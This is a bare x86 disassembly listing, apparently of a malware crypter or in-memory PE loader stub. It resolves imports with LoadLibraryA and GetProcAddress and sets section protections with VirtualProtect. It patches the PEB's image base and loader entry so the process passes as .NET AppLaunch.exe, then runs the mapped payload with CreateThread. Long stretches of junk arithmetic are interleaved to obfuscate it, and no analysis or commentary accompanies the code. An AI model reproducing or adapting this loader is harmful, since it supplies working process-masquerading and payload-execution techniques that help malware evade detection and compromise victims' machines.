mov esi, 0xb1
add ebx, 0x2a
bswap edx
neg eax
imul edi
rcl eax, 0xa4
or eax, 0x25
mov ebx, 0xb0
neg eax
imul ebx
sub ebx, 0x15
inc eax
and esi, 0xae
rcl edx, 0xaf
bswap esi
sub eax, 0x30
dec edx
neg edi
not eax
sub edx, 0x54
dec ebx
inc esi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
add eax, dword [ecx + 0x80]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x70], 0
mov eax, dword [ebp - 0x6c]
imul ecx, dword [ebp - 0x70], 0x14
add eax, ecx
cmp dword [eax + 0x10], 0
je 0x404f95
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x6c]
imul edx, dword [ebp - 0x70], 0x14
add ecx, edx
add eax, dword [ecx + 0xc]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub esp, 4
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jne 0x404ec6
jmp 0x404f87
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x6c]
imul edx, dword [ebp - 0x70], 0x14
add ecx, edx
add eax, dword [ecx + 0x10]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x80], 0
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x80]
cmp dword [eax + ecx*4], 0
je 0x404f82
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x7c]
mov edx, dword [ebp - 0x80]
add eax, dword [ecx + edx*4]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x80]
mov eax, dword [eax + ecx*4]
movzx eax, ax
mov ecx, dword [ebp - 0x78]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
jne 0x404f55
mov eax, dword [ebp - 0x84]
add eax, 2
mov ecx, dword [ebp - 0x78]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x88], eax
mov ecx, dword [ebp - 0x88]
mov eax, dword [ebp - 0x44]
mov edx, dword [ebp - 0x6c]
imul esi, dword [ebp - 0x70], 0x14
add edx, esi
add eax, dword [edx + 0x10]
mov edx, dword [ebp - 0x80]
shl edx, 2
add eax, edx
mov dword [eax], ecx
mov eax, dword [ebp - 0x80]
add eax, 1
mov dword [ebp - 0x80], eax
jmp 0x404edf
jmp 0x404f87
mov eax, dword [ebp - 0x70]
add eax, 1
mov dword [ebp - 0x70], eax
jmp 0x404e80
mov dword [ebp - 0x90], 0
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x38]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x405112
mov dword [ebp - 0x94], 0x40
mov eax, dword [ebp - 0x48]
imul ecx, dword [ebp - 0x90], 0x28
add eax, ecx
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x98]
and eax, 0x40000000
cmp eax, 0
je 0x40501e
mov eax, dword [ebp - 0x98]
and eax, 0x80000000
cmp eax, 0
je 0x40501e
mov eax, dword [ebp - 0x98]
and eax, 0x20000000
cmp eax, 0
je 0x40501e
mov dword [ebp - 0x94], 0x40
jmp 0x4050b9
mov eax, dword [ebp - 0x98]
and eax, 0x40000000
cmp eax, 0
je 0x405055
mov eax, dword [ebp - 0x98]
and eax, 0x80000000
cmp eax, 0
je 0x405055
mov dword [ebp - 0x94], 4
jmp 0x4050b4
mov eax, dword [ebp - 0x98]
and eax, 0x40000000
cmp eax, 0
je 0x40508c
mov eax, dword [ebp - 0x98]
and eax, 0x20000000
cmp eax, 0
je 0x40508c
mov dword [ebp - 0x94], 0x20
jmp 0x4050af
mov eax, dword [ebp - 0x98]
and eax, 0x40000000
cmp eax, 0
je 0x4050aa
mov dword [ebp - 0x94], 2
jmp 0x4050af
jmp 0x4050b4
jmp 0x4050b9
mov ecx, dword [ebp - 0x94]
mov eax, dword [ebp - 0x48]
imul edx, dword [ebp - 0x90], 0x28
add eax, edx
mov edx, dword [eax + 8]
mov esi, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
imul edi, dword [ebp - 0x90], 0x28
add eax, edi
add esi, dword [eax + 0xc]
lea eax, [ebp - 0x8c]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
mov eax, dword [ebp - 0x90]
add eax, 1
mov dword [ebp - 0x90], eax
jmp 0x404f9f
bswap esi
mov eax, 0xc1
neg edi
inc eax
bswap ebx
and edi, 0xad
ror edx, 0x48
imul eax
sbb ebx, 0xcd
bswap eax
inc eax
dec edx
inc ebx
or edx, 0xc4
neg edx
rcr edi, 0xef
inc edx
and edx, 3
rcr esi, 0xf1
rcr edi, 0x17
not edx
mov edi, 0x34
bswap esi
dec edx
dec edi
rcr edi, 0x99
mov edi, 0xc1
not ebx
rcr esi, 0x61
or edi, 0x97
imul ebx
imul eax
inc edi
mov ebx, 0xf3
dec edi
or eax, 0x33
imul edi
neg eax
bswap edx
imul edi
inc ebx
dec eax
neg esi
dec edx
inc edx
dec eax
rcr eax, 0x5c
mov esi, 0xba
rcl edx, 0xb8
dec edi
imul ebx
rol eax, 0xae
inc eax
neg edx
sbb ebx, 4
dec esi
imul edi
inc esi
inc edi
ror ebx, 0xf
imul edi
or edi, 0x5a
bswap eax
bswap eax
sbb edi, 0x89
neg eax
sub edx, 0
not edx
add edx, 0x51
add ebx, 0xf1
rol edi, 0xd9
rcr eax, 0xca
bswap edi
and eax, 0x87
not ebx
or edx, 0x27
imul edx
sbb esi, 0xd2
imul eax
rol eax, 0x64
inc eax
bswap esi
ror ebx, 0xe8
rcr edi, 0x7b
dec edi
add eax, 0x96
neg eax
sbb edx, 0x6d
not edx
neg eax
and ebx, 0xff
or esi, 0xa3
rcl edx, 0xd4
rol edx, 0x92
bswap ebx
bswap esi
imul edi
ror eax, 0xed
rcr ebx, 0x7b
not eax
sub esi, 0xea
sbb esi, 0x36
or edi, 0x88
inc esi
dec esi
inc esi
neg ebx
not ebx
bswap edi
inc ebx
bswap edi
dec eax
bswap ebx
and ebx, 0x59
sub eax, 0x69
dec eax
bswap esi
not esi
dec edx
rcl eax, 0x3a
imul ebx
imul ebx
imul eax
imul ebx
dec esi
rcl edi, 0x67
rol edi, 0x3c
rcl ebx, 0xc0
sbb eax, 0x3a
neg edi
bswap esi
imul esi
add esi, 0x83
rcl eax, 0xc
inc eax
imul edi
mov ebx, 0x53
not ebx
ror ebx, 0xfa
sub edx, 0xcd
rcr eax, 0x4c
add esi, 0x94
imul ebx
inc esi
ror esi, 0x5f
mov edx, 0x37
sbb esi, 0xa4
ror edx, 0x77
rcr esi, 0x66
bswap esi
mov dword [ebp - 0x10], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x9c]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax + 0x14]
sub eax, 8
mov dword [ebp - 0xa4], eax
or edi, 0xb0
sub eax, 0x1d
neg edx
rcl edi, 0x25
and edx, 0xbc
bswap esi
rcl ebx, 0x25
bswap ebx
neg eax
imul ebx
bswap ebx
bswap edx
ror ebx, 0x26
add edi, 0x31
mov eax, 0x7e
bswap edx
imul edi
rol edi, 0x35
bswap edi
rcr edx, 0xff
inc ebx
rcl edi, 8
sub ebx, 0x7d
not edi
rcr eax, 0x30
not edx
inc esi
inc ebx
dec edi
rcl esi, 0xb7
imul edx
neg eax
imul edi
neg edx
imul eax
mov edi, 0xb1
rcl eax, 0xf9
rcr edi, 0x38
rcl esi, 0xf
neg ebx
not edx
inc eax
bswap ebx
rcl esi, 0xad
ror eax, 0x48
ror edx, 7
inc esi
sbb edx, 0xe9
neg edi
rcl eax, 0x5c
and edi, 0x9f
rol esi, 0xc4
rol edi, 0xb3
dec esi
sbb edi, 0xb
imul edi
and edx, 0x19
dec ebx
add ebx, 0x13
or ebx, 0x57
rcr edi, 0x4b
not edi
or edx, 0x7c
not ebx
add edi, 0xf7
neg eax
add esi, 0x1d
imul eax
mov eax, 0x2f
imul esi
imul eax
rcr eax, 0xab
bswap edx
ror edx, 0x9c
not ebx
bswap eax
ror edi, 8
or edx, 0x79
bswap esi
not eax
imul edi
dec edi
and edi, 0x84
add eax, 0x98
add eax, 0x4d
inc edx
dec ebx
imul edi
ror ebx, 0xc5
rcl esi, 0x36
dec edx
add esi, 0xa6
sub edi, 0x70
inc esi
dec esi
sbb esi, 0xd6
mov esi, 0x94
sub eax, 0xb0
neg edx
and eax, 0xcc
dec edx
rcr esi, 0x3f
mov eax, 0x73
neg ebx
ror ebx, 0x42
inc edx
dec eax
add eax, 0xcb
sub edi, 0xde
inc edx
ror esi, 0xf9
neg esi
mov esi, 0xed
neg ebx
bswap edx
add edx, 0xaa
neg edi
imul esi
ror esi, 0x77
not edx
bswap edi
and edx, 0xfb
imul edx
ror ebx, 0x65
not ebx
imul eax
imul eax
or eax, 0x8c
bswap edi
dec eax
mov edx, 0xf3
sbb ebx, 0xe6
sub eax, 0xad
bswap ebx
mov eax, 0x34
rcr esi, 0xba
imul edx
bswap edx
dec esi
rcr edx, 0x26
dec ebx
imul eax
neg edx
rol eax, 0xcc
imul eax
neg esi
bswap esi
or edi, 0x7c
sub esi, 0xfc
imul edx
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x9c]
mov dword [eax + 8], ecx
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0xa4]
mov dword [eax + 0x18], ecx
mov eax, dword [ebp - 0xa4]
add eax, 0x24
mov dword [ebp - 0xa8], eax
sbb eax, 0x69
inc ebx
sbb esi, 0x9d
mov esi, 0xcc
inc edi
add edi, 0x97
inc edi
neg eax
imul edi
inc edx
not esi
rol edi, 0xf2
dec eax
neg edx
sub edx, 0x80
inc esi
mov eax, 0xa7
imul ebx
dec ebx
dec edx
imul ebx
or esi, 0xef
inc eax
neg edi
inc eax
inc esi
bswap edi
or ebx, 0x66
dec eax
and ebx, 0xbf
not edi
rol edx, 0x61
sbb eax, 0xd3
bswap edx
imul esi
rol ebx, 0xbc
mov esi, 0x13
imul edx
neg ebx
dec edx
imul ebx
bswap ebx
neg edi
rcr esi, 0x9c
and eax, 0x6c
not edi
bswap edi
imul eax
inc eax
rcl edx, 0x1a
ror ebx, 6
sub edx, 0x6b
dec eax
bswap esi
rcl edx, 0x4d
sub ebx, 4
inc edi
sub edx, 0xdc
or eax, 0x3e
or esi, 0xc9
neg edx
rol edi, 0x4b
imul edx
sub edx, 0xf8
mov edx, 0xa1
mov edx, 0x2b
rcl edi, 0xf1
and edx, 0x51
rcl edx, 0x7f
inc eax
rol ebx, 0x50
rol esi, 0x7a
inc eax
not edi
bswap edi
inc eax
inc edx
not ebx
inc edi
not esi
dec edi
sbb eax, 0x7b
bswap eax
add edi, 0xae
dec edi
rcr edi, 0xe7
not edi
and ebx, 0xc3
inc eax
add edx, 0xa3
dec eax
neg eax
rol edx, 0xf7
sbb eax, 0xe0
or edx, 0x2b
ror eax, 0x96
bswap edx
ror esi, 0x8d
bswap edx
imul ebx
add edx, 0xbb
not eax
sbb esi, 0x89
sbb edi, 0xdf
rcr eax, 0xd1
mov ebx, 0xb7
dec edx
dec eax
neg esi
inc edi
neg edi
bswap ebx
dec eax
rcr esi, 0x37
rcl edx, 0xfe
add eax, 0x75
not eax
neg edi
bswap esi
bswap edi
rcl edi, 0xe7
bswap ebx
rcl edx, 0x82
rol eax, 0x86
neg eax
rcl edi, 0x4e
not esi
rcl edx, 0x70
rcl ebx, 0x1d
add eax, 0xce
rol edi, 0x59
ror esi, 0xca
inc eax
or edi, 0xab
and edx, 0xe
and ebx, 0x84
imul eax
sub edi, 0x7f
mov edi, 0x49
or eax, 0x60
inc esi
inc eax
neg ebx
sub edi, 0xb2
mov edi, 0xaf
or edx, 0xd
bswap eax
rcr ebx, 0x47
dec esi
add edx, 0xf6
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x122]
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x7a
call fcn.0040a0d0
mov eax, dword [ebp - 0x38]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0x123], al
test byte [ebp - 0x123], 1
je 0x4056cc
mov eax, dword [ebp - 0xa8]
lea ecx, [ebp - 0x12c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 8
call fcn.00403a80
lea ecx, [ebp - 0x122]
mov eax, dword [ebp - 0xa8]
mov dword [eax + 4], ecx
lea eax, [ebp - 0x122]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
sub esp, 4
shl eax, 1
mov cx, ax
mov eax, dword [ebp - 0xa8]
mov word [eax], cx
inc edx
inc edi
imul ebx
neg edi
imul ebx
rol esi, 0x74
not eax
imul edx
bswap esi
not edx
rcl esi, 0x45
mov eax, 0x47
neg edx
dec eax
mov eax, 0xcc
dec edx
rcl esi, 0xe5
inc edi
dec edi
rcl edi, 0xc4
not edi
imul esi
inc eax
ror edx, 0x44
inc edx
not edx
neg eax
ror ebx, 0xa5
add edx, 0xc4
imul ebx
or edi, 0x42
add edx, 0xbc
imul edi
rcr edi, 0x15
dec edi
or esi, 0xca
imul edx
not esi
neg edi
rcr edi, 0x66
ror ebx, 0x3f
inc esi
neg edi
bswap edi
mov esi, 0xe1
ror ebx, 0x4b
neg eax
imul edi
mov ebx, 0xfd
or eax, 0x5c
dec edx
or esi, 9
imul esi
not eax
rcr ebx, 0x94
rcr eax, 0x1c
dec edx
ror edx, 0xef
imul ebx
neg edx
or esi, 0xcd
not eax
and esi, 0x60
add esi, 0
rcl eax, 0xd7
not edi
dec esi
and edi, 0x4f
rcl ebx, 2
imul edx
inc eax
bswap esi
rol ebx, 0xe0
add edi, 0xeb
dec esi
neg esi
and ebx, 3
rcr edx, 0x53
mov edi, 0x94
inc edi
ror ebx, 0xba
inc esi
sub esi, 0x8e
neg eax
sbb eax, 0x89
mov eax, 0x62
inc edx
bswap edi
imul eax
imul esi
inc edx
mov edi, 4
dec edx
bswap esi
sub edx, 0x69
not edi
sbb edi, 0x60
rcl edx, 0xbd
rol ebx, 0x5d
add edx, 0x23
rcr edx, 0x7f
or edi, 0x28
dec eax
sbb edx, 0xbf
dec edi
mov edx, 0xe8
not edi
dec edx
rol ebx, 0x6d
rcl ebx, 0xf7
sbb eax, 0xc6
sbb edi, 0x21
inc edi
sub ebx, 0xc
not edi
ror edx, 0xc5
dec edx
inc esi
rcr edx, 0x21
rcr eax, 0xa
or edx, 0x6c
bswap edi
not edi
not edx
ror esi, 0x7f
inc ebx
bswap ebx
bswap edi
imul eax
not ebx
sbb edx, 0x3d
sub edi, 0xb5
inc eax
not esi
dec esi
not edx
not ebx
neg eax
inc ebx
dec eax
add edi, 0x29
neg esi
imul edx
rcr eax, 0x25
bswap esi
rol esi, 0xa5
imul esi
rcl ebx, 0x1e
sbb ebx, 0xe8
rcl edi, 0xf0
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
add eax, dword [ecx + 0x28]
xor ecx, ecx
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov dword [ebp - 0x130], eax
test byte [ebp - 0x123], 1
je 0x4058cf
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 4
mov ecx, dword [ebp - 0xa8]
lea eax, [ebp - 0x12c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 8
call fcn.00403a80
mov eax, dword [ebp - 0x130]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
sub ebx, 0x4b
rcr edi, 0xe6
add edx, 7
ror edi, 0xcb
rcl eax, 0x1a
imul ebx
bswap edx
add edi, 0x61
and eax, 0xf8
rcr esi, 0x47
sub edi, 0x1d
and esi, 0x53
mov edi, 0xcd
inc edx
neg eax
ror ebx, 0x60
add edi, 0x90
bswap esi
rcr esi, 0x47
or esi, 0x90
imul esi
imul edi
neg esi
ror edi, 0x59
imul esi
not esi
bswap ebx
not edi
rcr edx, 0x1a
not eax
sub eax, 0xf2
not edx
not esi
sbb edx, 0x1a
neg edi
add esi, 0x5c
add esi, 0xf4
bswap edi
not eax
bswap esi
add eax, 0xe9
sub edi, 0x7c
rcl esi, 0x3c
add edi, 3
bswap edi
sub eax, 0x2f
dec esi
rcr ebx, 0xe2
and edi, 0xe0
ror eax, 0x3b
dec eax
or ebx, 7
add ebx, 0xe2
mov edx, 0xd4
dec esi
or edi, 0xfd
imul esi
neg eax
add edi, 0x70
and eax, 0xe0
not eax
not ebx
or esi, 0x96
sbb ebx, 0x5e
bswap edi
not ebx
neg esi
dec edx
not ebx
dec edx
and edx, 0xfb
dec ebx
imul ebx
bswap esi
bswap edx
bswap edx
imul eax
mov edx, 0xaa
inc edi
sub edx, 0x69
inc esi
bswap eax
add esi, 0x90
mov edi, 0xcc
rcr edi, 0xd6
neg ebx
bswap ebx
and eax, 0xff
not edx
not eax
neg edi
bswap ebx
inc eax
add ebx, 0xbe
bswap esi
or edi, 0xd0
and esi, 0xc2
neg esi
not esi
dec eax
neg ebx
rcl ebx, 0x6d
rol edx, 0xa5
rol eax, 0x99
sub edi, 0xf5
not edx
rcr edi, 8
sub ebx, 0x5a
bswap eax
bswap ebx
or edi, 0xeb
neg edi
rcl edi, 0xc6
inc esi
inc edx
inc esi
neg esi
rcr edx, 0xd8
neg esi
neg esi
mov ebx, 0xc2
imul eax
bswap edi
inc edi
sub edx, 0xe4
rcl eax, 0xaa
bswap edx
mov esi, 0x23
and esi, 0xe2
rcr esi, 0x36
mov edi, 0xb7
neg edi
rcl edx, 0xee
not edx
mov esi, 0xa8
rol edi, 0xda
add ebx, 0xea
bswap edi
ror edi, 0xbf
bswap edx
inc ebx
imul esi
rcl eax, 0xc0
neg ebx
neg ebx
neg esi
mov esi, 0xb6
rcl edi, 6
ror edi, 0xe5
inc edi
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add esp, 0x144
pop esi
pop edi
pop ebx
pop ebp
ret